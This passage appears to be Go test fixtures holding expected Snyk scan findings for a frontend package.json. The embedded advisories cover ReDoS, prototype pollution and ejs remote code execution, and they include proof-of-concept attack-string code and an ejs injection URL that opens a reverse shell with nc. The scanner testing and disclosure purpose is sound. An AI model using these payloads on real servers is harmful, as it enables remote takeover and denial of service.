evaluates a specific attribute of an object, and then executes that evaluation.\\u003cbr\\u003e**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.\\u003cbr\\u003e **For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\\n\\n# Affected environments\\n\\nThe following environments are susceptible to a Prototype Pollution attack:\\n\\n- Application server\\n \\n- Web server\\n \\n\\n# How to prevent\\n\\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\\n \\n2. Require schema validation of JSON input.\\n \\n3. Avoid using unsafe recursive merge functions.\\n \\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\\n \\n5. As a best practice use `Map` instead of `Object`.\\n\\n## For more information on this vulnerability type:\\n\\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\\n\\n# Remediation\\nUpgrade `async` to version 2.6.4, 3.2.2 or higher.\\n# References\\n- [GitHub Backport PR](https://github.com/caolan/async/pull/1828)\\n- [GitHub Commit](https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2)\\n- [GitHub Commit](https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d)\\n- [PoC](https://jsfiddle.net/oz5twjd9/)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-1321\",\"yarn\"]}} \n Message: This file introduces a vulnerable async package with a high severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-CSSWHAT-1298002", + Title: "This file introduces a vulnerable css-what package with a medium severity vulnerability.", + Severity: v1.Severity_SEVERITY_MEDIUM, + Description: "MatchedRule: {\"id\":\"SNYK-JS-CSSWHAT-1298035\",\"shortDescription\":{\"text\":\"Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in css-what\"},\"fullDescription\":{\"text\":\"(CVE-2021-33587) css-what@3.4.2\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: css-what\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › @svgr/webpack@5.5.0 › @svgr/plugin-svgo@5.5.0 › svgo@1.3.2 › css-select@2.1.0 › css-what@3.4.2\\n# Overview\\n[css-what](https://www.npmjs.org/package/css-what) is an a CSS selector parser\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attribute parsing.\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `css-what` to version 5.0.1 or higher.\\n# References\\n- [GitHub Commit](https://github.com/fb55/css-what/commit/4cdaacfd0d4b6fd00614be030da0dea6c2994655)\\n- [GitHub PR](https://github.com/fb55/css-what/pull/503)\\n- [GitHub Release](https://github.com/fb55/css-what/releases/tag/v5.0.1)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable css-what package with a medium severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-D3COLOR-1076503", + Title: "This file introduces a vulnerable d3-color package with a medium severity vulnerability.", + Severity: v1.Severity_SEVERITY_MEDIUM, + Description: "MatchedRule: {\"id\":\"SNYK-JS-D3COLOR-1076592\",\"shortDescription\":{\"text\":\"Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in d3-color\"},\"fullDescription\":{\"text\":\"d3-color@3.0.1\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: d3-color\\n* Introduced through: spyros-frontend@1.0.0, react-flow-renderer@9.7.4 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-interpolate@3.0.1 › d3-color@3.0.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-flow-renderer@9.7.4 › d3-zoom@3.0.0 › d3-transition@3.0.1 › d3-color@3.0.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale-chromatic@2.0.0 › d3-color@2.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-scale@3.3.0 › d3-interpolate@2.0.1 › d3-color@2.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-force-graph-2d@1.23.6 › force-graph@1.41.1 › d3-zoom@2.0.0 › d3-transition@2.0.0 › d3-color@2.0.0\\n# Overview\\n[d3-color](https://www.npmjs.org/package/d3-color) is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the `rgb()` and `hrc()` functions. \\r\\n\\r\\nPoC by Yeting Li: \\r\\n```\\r\\nvar d3Color = require(\\\"d3-color\\\")\\r\\n// d3Color.rgb(\\\"rgb(255,255,255)\\\")\\r\\n\\r\\nfunction build_blank(n) {\\r\\n var ret = \\\"rgb(\\\"\\r\\n for (var i = 0; i \\u003c n; i++) {\\r\\n ret += \\\"1\\\"\\r\\n }\\r\\n return ret + \\\"!\\\";\\r\\n}\\r\\n\\r\\nfor(var i = 1; i \\u003c= 5000000; i++) {\\r\\n if (i % 1000 == 0) {\\r\\n var time = Date.now();\\r\\n var attack_str = build_blank(i)\\r\\n d3Color.rgb(attack_str)\\r\\n var time_cost = Date.now() - time;\\r\\n console.log(\\\"attack_str.length: \\\" + attack_str.length + \\\": \\\" + time_cost+\\\" ms\\\")\\r\\n }\\r\\n}\\r\\n```\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `d3-color` to version 3.1.0 or higher.\\n# References\\n- [Github PR](https://github.com/d3/d3-color/pull/100)\\n- [Github PR](https://github.com/d3/d3-color/pull/99)\\n- [GitHub PR](https://github.com/d3/d3-color/pull/89)\\n- [Github Releases](https://github.com/d3/d3-color/releases/tag/v3.1.0)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable d3-color package with a medium severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-EJS-2803304", + Title: "This file introduces a vulnerable ejs package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Description: "MatchedRule: {\"id\":\"SNYK-JS-EJS-2803307\",\"shortDescription\":{\"text\":\"High severity - Remote Code Execution (RCE) vulnerability in ejs\"},\"fullDescription\":{\"text\":\"(CVE-2022-29078) ejs@3.1.6\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: ejs\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › workbox-webpack-plugin@6.4.2 › workbox-build@6.4.2 › @surma/rollup-plugin-off-main-thread@2.2.3 › ejs@3.1.6\\n# Overview\\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\\n\\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\\r\\n\\r\\n\\r\\n**Note:**\\r\\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\\r\\n\\r\\n# PoC:\\r\\nCreation of reverse shell:\\r\\n```\\r\\nhttp://localhost:3000/page?id=2\\u0026settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\\r\\n```\\n# Remediation\\nUpgrade `ejs` to version 3.1.7 or higher.\\n# References\\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\\n- [GitHub Release](https://github.com/mde/ejs/releases)\\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-94\",\"yarn\"]}} \n Message: This file introduces a vulnerable ejs package with a high severity vulnerability.", + }, + }, + "Snyk Code": { + { + Target: "package.json:1-1", + Type: "SNYK-JS-ANSIREGEX-1583905", + Title: "This file introduces a vulnerable ansi-regex package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Cvss: 0, + Confidence: v1.Confidence_CONFIDENCE_UNSPECIFIED, + Description: "MatchedRule: {\"id\":\"SNYK-JS-ANSIREGEX-1583908\",\"shortDescription\":{\"text\":\"High severity - Regular Expression Denial of Service (ReDoS) vulnerability in ansi-regex\"},\"fullDescription\":{\"text\":\"(CVE-2021-3807) ansi-regex@2.1.1\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: ansi-regex\\n* Introduced through: spyros-frontend@1.0.0, react-d3-library@1.1.8 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › strip-ansi@3.0.1 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › react-d3-library@1.1.8 › babel-core@6.26.3 › babel-code-frame@6.26.0 › chalk@1.1.3 › has-ansi@2.0.0 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › string-width@1.0.2 › strip-ansi@3.0.1 › ansi-regex@2.1.1\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › @npmcli/arborist@2.6.2 › @npmcli/metavuln-calculator@1.1.1 › pacote@11.3.4 › @npmcli/run-script@1.8.5 › node-gyp@7.1.2 › npmlog@4.1.2 › gauge@2.7.4 › wide-align@1.1.3 › string-width@2.1.1 › strip-ansi@4.0.0 › ansi-regex@3.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › npm@7.16.0 › cli-table3@0.6.0 › string-width@4.2.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › jest@27.4.7 › @jest/core@27.4.7 › @jest/reporters@27.4.6 › string-length@4.0.2 › strip-ansi@6.0.0 › ansi-regex@5.0.0\\n# Overview\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\\\\\d\\\\\\\\/#\\u0026.:=?%@~_]*)*`.\\r\\n\\r\\n\\r\\n## PoC\\r\\n```js\\r\\nimport ansiRegex from 'ansi-regex';\\r\\n\\r\\nfor(var i = 1; i \\u003c= 50000; i++) {\\r\\n var time = Date.now();\\r\\n var attack_str = \\\"\\\\u001B[\\\"+\\\";\\\".repeat(i*10000);\\r\\n ansiRegex().test(attack_str)\\r\\n var time_cost = Date.now() - time;\\r\\n console.log(\\\"attack_str.length: \\\" + attack_str.length + \\\": \\\" + time_cost+\\\" ms\\\")\\r\\n}\\r\\n```\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\\n1. CCC\\n2. CC+C\\n3. C+CC\\n4. C+C+C.\\n\\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\\n\\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\\n\\n| String | Number of C's | Number of steps |\\n| -------|-------------:| -----:|\\n| ACCCX | 3 | 38\\n| ACCCCX | 4 | 71\\n| ACCCCCX | 5 | 136\\n| ACCCCCCCCCCCCCCX | 14 | 65,553\\n\\n\\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\\n\\n# Remediation\\nUpgrade `ansi-regex` to version 3.0.1, 4.1.1, 5.0.1, 6.0.1 or higher.\\n# References\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/419250fa510bf31b4cc672e76537a64f9332e1f1)\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/75a657da7af875b2e2724fd6331bf0a4b23d3c9a)\\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-400\",\"yarn\"]}} \n Message: This file introduces a vulnerable ansi-regex package with a high severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-ASYNC-2441806", + Title: "This file introduces a vulnerable async package with a high severity vulnerability.", + Severity: v1.Severity_SEVERITY_HIGH, + Description: "MatchedRule: {\"id\":\"SNYK-JS-ASYNC-2441827\",\"shortDescription\":{\"text\":\"High severity - Prototype Pollution vulnerability in async\"},\"fullDescription\":{\"text\":\"(CVE-2021-43138) async@2.6.3\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: async\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › webpack-dev-server@4.7.3 › portfinder@1.0.28 › async@2.6.3\\n# Overview\\n\\nAffected versions of this package are vulnerable to Prototype Pollution via the `mapValues()` method, due to improper check in `createObjectIterator` function.\\r\\n\\r\\n# PoC\\r\\n\\r\\n```js\\r\\n//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))\\r\\nconst hasOwn = JSON.parse('{\\\"__proto__\\\": {\\\"isAdmin\\\": true}}');\\r\\n\\r\\n//does not have the property, because it's inside object's own \\\"__proto__\\\"\\r\\nconsole.log(hasOwn.isAdmin);\\r\\n\\r\\nasync.mapValues(hasOwn, (val, key, cb) =\\u003e cb(null, val), (error, result) =\\u003e {\\r\\n // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.\\r\\n console.log(result.isAdmin);\\r\\n});\\r\\n```\\n\\n# Details\\n\\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\\n\\nThere are two main ways in which the pollution of prototypes occurs:\\n\\n- Unsafe `Object` recursive merge\\n \\n- Property definition by path\\n \\n\\n## Unsafe Object recursive merge\\n\\nThe logic of a vulnerable recursive merge function follows the following high-level model:\\n```\\nmerge (target, source)\\n\\n foreach property of source\\n\\n if property exists and is an object on both the target and the source\\n\\n merge(target[property], source[property])\\n\\n else\\n\\n target[property] = source[property]\\n```\\n\\u003cbr\\u003e \\n\\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\\n\\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\\n\\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\\n\\n## Property definition by path\\n\\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\\n\\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\\n\\n# Types of attacks\\n\\nThere are a few methods by which Prototype Pollution can be manipulated:\\n\\n| Type |Origin |Short description |\\n|--|--|--|\\n| **Denial of service (DoS)**|Client |This is the most likely attack. \\u003cbr\\u003eDoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). \\u003cbr\\u003e The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. \\u003cbr\\u003e**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.\\u003cbr\\u003e**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.\\u003cbr\\u003e **For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\\n\\n# Affected environments\\n\\nThe following environments are susceptible to a Prototype Pollution attack:\\n\\n- Application server\\n \\n- Web server\\n \\n\\n# How to prevent\\n\\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\\n \\n2. Require schema validation of JSON input.\\n \\n3. Avoid using unsafe recursive merge functions.\\n \\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\\n \\n5. As a best practice use `Map` instead of `Object`.\\n\\n## For more information on this vulnerability type:\\n\\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\\n\\n# Remediation\\nUpgrade `async` to version 2.6.4, 3.2.2 or higher.\\n# References\\n- [GitHub Backport PR](https://github.com/caolan/async/pull/1828)\\n- [GitHub Commit](https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2)\\n- [GitHub Commit](https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d)\\n- [PoC](https://jsfiddle.net/oz5twjd9/)\\n\"},\"properties\":{\"tags\":[\"security\",\"CWE-1321\",\"yarn\"]}} \n Message: This file introduces a vulnerable async package with a high severity vulnerability.", + }, + { + Target: "package.json:1-1", + Type: "SNYK-JS-CSSWHAT-1298007", + Title: "This file introduces a vulnerable css-what package with a medium severity vulnerability.", + Severity: v1.Severity_SEVERITY_MEDIUM, + Description: "MatchedRule: {\"id\":\"SNYK-JS-CSSWHAT-1298035\",\"shortDescription\":{\"text\":\"Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in css-what\"},\"fullDescription\":{\"text\":\"(CVE-2021-33587) css-what@3.4.2\"},\"help\":{\"text\":\"\",\"markdown\":\"* Package Manager: yarn\\n* Vulnerable module: css-what\\n* Introduced through: spyros-frontend@1.0.0, react-scripts@5.0.0 and others\\n### Detailed paths\\n* _Introduced through_: spyros-frontend@1.0.0 › react-scripts@5.0.0 › @svgr/webpack@5.5.0 › @svgr/plugin-svgo@5.5.0 › svgo@1.3.2 › css-select@2.1.0 › css-what@3.4.2\\n# Overview\\n[css-what](https://www.npmjs.org/package/css-what) is an a CSS selector parser\\n\\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via attribute parsing.\\n\\n# Details\\n\\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\\n\\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\\n\\nLet’s take the following regular expression as an example:\\n```js\\nregex = /A(B|C+)+D/\\n```\\n\\nThis regular expression accomplishes the following:\\n- `A` The string must start with the letter 'A'\\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\\n- `D` Finally, we ensure this section of the string ends with a 'D'\\n\\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\\n\\nIt most cases, it doesn't take very long for a regex engine to find a match:\\n\\n```bash\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\\\")'\\n0.04s user 0.01s system 95% cpu 0.052 total\\n\\n$ time node -e '/A(B|C+)+D/.test(\\\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\\\")'\\n1.79s user 0.02s system 99% cpu 1.812 total\\n```\\n\\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\\n\\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\\n\\nLet's look at how our expression runs into this problem, using a shorter string: \\\"ACCCX\\\". While it seems fairly straightforward, there are still four different ways that the engine could match those three 